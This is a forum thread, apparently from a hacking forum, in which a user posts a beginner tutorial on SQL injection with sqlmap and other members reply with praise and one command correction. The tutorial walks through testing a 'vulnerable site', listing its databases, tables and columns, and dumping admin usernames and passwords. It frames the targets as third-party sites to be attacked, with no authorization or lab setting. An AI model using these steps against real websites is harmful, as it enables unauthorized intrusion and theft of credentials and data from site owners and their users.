[Retribute]

Hey guys,

So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.

--

Alright, so lets begin learning.

I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.

Alright, so now you obviously need SQLmap which can be downloaded from here

You also need python installed which you can get by doing

Code

sudo apt-get install python

After you've downloaded it, go to the directory where it's saved.
In my case:

Code

cd Downloads/sqlmap

Once you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:

Code

python sqlmap.py -u TARGETSITE

Change "TARGETSITE" to the URL of your site.

After you find out it's vulnerable, do:

Code

python sqlmap.py -u TARGETSITE --dbs

This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.

Now once you've found the database name, you'd need to view the tables, so do:

Code

python sqlmap.py -u TARGETSITE -D site_db --tables

This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.

So once you've found the tables, for example, containing the Admin information, do:

Code

python sqlmap.py -u TARGETSITE -D database_name -T admintable --columns

With that, you've received all the columns. Now you want to see the information in that column, so type in:

Code

python sqlmap.py -u TARGETSITE -D database_name -T admintable -C  columnname --dump

And there we have it, we have gotten all the info 🤗

Please comment or PM me if you have questions. I'd be happy to assist you.

[CRT]

Pretty good tutorial man. Sure it will help many.

[Cannabinoids]

This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

[Retribute]

This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

Alright, thanks for the advise. I'd be sure to take it on any future tutorials.

[T-rom]

DO NOT ask for + rep.

its a good tut otherwise.

[Glassy]

That is a well written tutorial you have created there. Good job.

[Retribute]

That is a well written tutorial you have created there. Good job.

Thanks! Just wanting to contribute a little here :3

[Kelly_]

Excellent tutorial, the best one I've seen so far.

[gfgfdygh]

@RubksHQ, if you go with some screenshots , it help nderstad better , though the tutorial is compact and precise for a beginner itself

[B_r001acess]

https://hackforums.net/showthread.php?tid=1758457 Yesterday i make a Tut Like that :P

[-S0uRc3-]

Thank you,just what i wanted :) keep it up

[Godzor]

this was very very very very helpfullll

[Victor]

Very nice tutorial. Easy to Follow. Thank you

[gfgfdygh]

a slight correction rubiks , in the last command , its like columns --dump and not column--dump

:P

[santoro]

thanks for this share , nice tutorial. good job

---

thanks for this share. excellent tuto. nice job